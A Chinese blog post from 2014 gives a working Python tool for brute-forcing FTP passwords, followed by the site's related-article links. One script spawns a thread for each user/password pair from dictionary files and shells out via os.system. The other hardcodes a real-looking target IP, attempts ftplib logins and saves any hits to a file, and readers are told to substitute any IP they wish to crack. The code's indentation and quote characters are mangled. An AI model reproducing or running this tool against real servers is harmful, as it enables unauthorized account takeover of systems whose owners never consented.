python编写暴力破解FTP密码小工具


Posted in Python onNovember 19, 2014

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os 

import time 

import threading
class mythread(threading.Thread): 

def __init__(self,command): 

threading.Thread.__init__(self) 

self.command=command 

def run(self): 

kk=os.system(self.command) 

ushand=open(“user.txt”,”r”) 

pshand=open(“passwd.txt”,”r”) 

listuser=[] 

listpass=[] 

for us in open(“user.txt”,”r”): 

lineus=ushand.readline().strip(‘\n') 

listuser.append(lineus) 

for ps in open(“passwd.txt”,”r”): 

lineps=pshand.readline().strip(‘\n') 

listpass.append(lineps) 

for i in listuser: 

for j in listpass: 

command=”ftp.py %s %s” %(i,j) 

print command 

my_thread=mythread(command) 

my_thread.start() 

time.sleep(0.1)

相应的ftp.py文件里面的代码如下

import ftplib 

import socket 

import sys 

ftp=ftplib.FTP('121.54.175.204′) 

try: 

user=sys.argv[1] 

passwd=sys.argv[2] 
ftp.login(user,passwd) 

hand=open(‘aa.txt','a+') 

hand.write(user+”:”+passwd+”\n”) 

except ftplib.error_perm: 

print “passwd is world”

由于插不近格式,里面的缩进的什么的得自己手动再调节一下

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

Python 相关文章推荐
Python获取脚本所在目录的正确方法
Apr 15 Python
在python的WEB框架Flask中使用多个配置文件的解决方法
Apr 18 Python
Python中特殊函数集锦
Jul 27 Python
Windows下Python的Django框架环境部署及应用编写入门
Mar 10 Python
Python3实现获取图片文字里中文的方法分析
Dec 13 Python
解决python3 HTMLTestRunner测试报告中文乱码的问题
Dec 17 Python
解决python3 安装不了PIL的问题
Aug 16 Python
Python socket非阻塞模块应用示例
Sep 12 Python
python Socket网络编程实现C/S模式和P2P
Jun 22 Python
浅谈anaconda python 版本对应关系
Oct 07 Python
python 爬虫如何正确的使用cookie
Oct 27 Python
Python中的流程控制详解
Feb 18 Python
用python读写excel的方法
Nov 18 #Python
kNN算法python实现和简单数字识别的方法
Nov 18 #Python
决策树的python实现方法
Nov 18 #Python
linux 下实现python多版本安装实践
Nov 18 #Python
centos 下面安装python2.7 +pip +mysqld
Nov 18 #Python
朴素贝叶斯算法的python实现方法
Nov 18 #Python
使用django-suit为django 1.7 admin后台添加模板
Nov 18 #Python
You might like
php颜色转换函数hex-rgb(将十六进制格式转成十进制格式)
2013/09/23 PHP
PHP数据过滤的方法
2013/10/30 PHP
php中mysql连接方式PDO使用详解
2015/02/25 PHP
php短址转换实现方法
2015/02/25 PHP
thinkphp如何获取客户端IP
2015/11/03 PHP
curl 出现错误的调试方法(必看)
2017/02/13 PHP
php计数排序算法的实现代码(附四个实例代码)
2020/03/31 PHP
js 中 document.createEvent的用法
2010/08/29 Javascript
PHP abstract与interface之间的区别
2013/11/11 Javascript
js 剪切板应用clipboardData详细解析
2013/12/17 Javascript
jQuery动态添加
2016/04/07 Javascript
js实现常用排序算法
2016/08/09 Javascript
基于jQuery实现Tabs选项卡自定义插件
2016/11/21 Javascript
几种响应式文字详解
2017/05/19 Javascript
Vue 中使用 CSS Modules优雅方法
2018/04/09 Javascript
jQuery中each遍历的三种方法实例分析
2018/09/07 jQuery
layui动态渲染生成select的option值方法
2019/09/23 Javascript
vue-cli基础配置及webpack配置修改的完整步骤
2019/10/20 Javascript
Python模拟脉冲星伪信号频率实例代码
2018/01/03 Python
Python 3.6 读取并操作文件内容的实例
2018/04/23 Python
python实现事件驱动
2018/11/21 Python
对python3 Serial 串口助手的接收读取数据方法详解
2019/06/12 Python
django搭建项目配置环境和创建表过程详解
2019/07/22 Python
Python 二叉树的层序建立与三种遍历实现详解
2019/07/29 Python
Python的scikit-image模块实例讲解
2020/12/30 Python
比利时买床:Beter Bed
2017/12/06 全球购物
乌克兰设计师和品牌的服装:Love&Live
2020/04/14 全球购物
业务员岗位职责
2013/11/16 职场文书
后勤主管工作职责
2013/12/07 职场文书
观看《永远的雷锋》心得体会
2014/03/12 职场文书
经销商订货会主持词
2014/03/27 职场文书
《海伦?凯勒》教学反思
2014/04/17 职场文书
中学教师暑期培训方案
2014/08/27 职场文书
师德师风主题教育活动总结
2015/05/07 职场文书
2016年教师学习教师法心得体会
2016/01/20 职场文书
浅谈Python数学建模之数据导入
2021/06/23 Python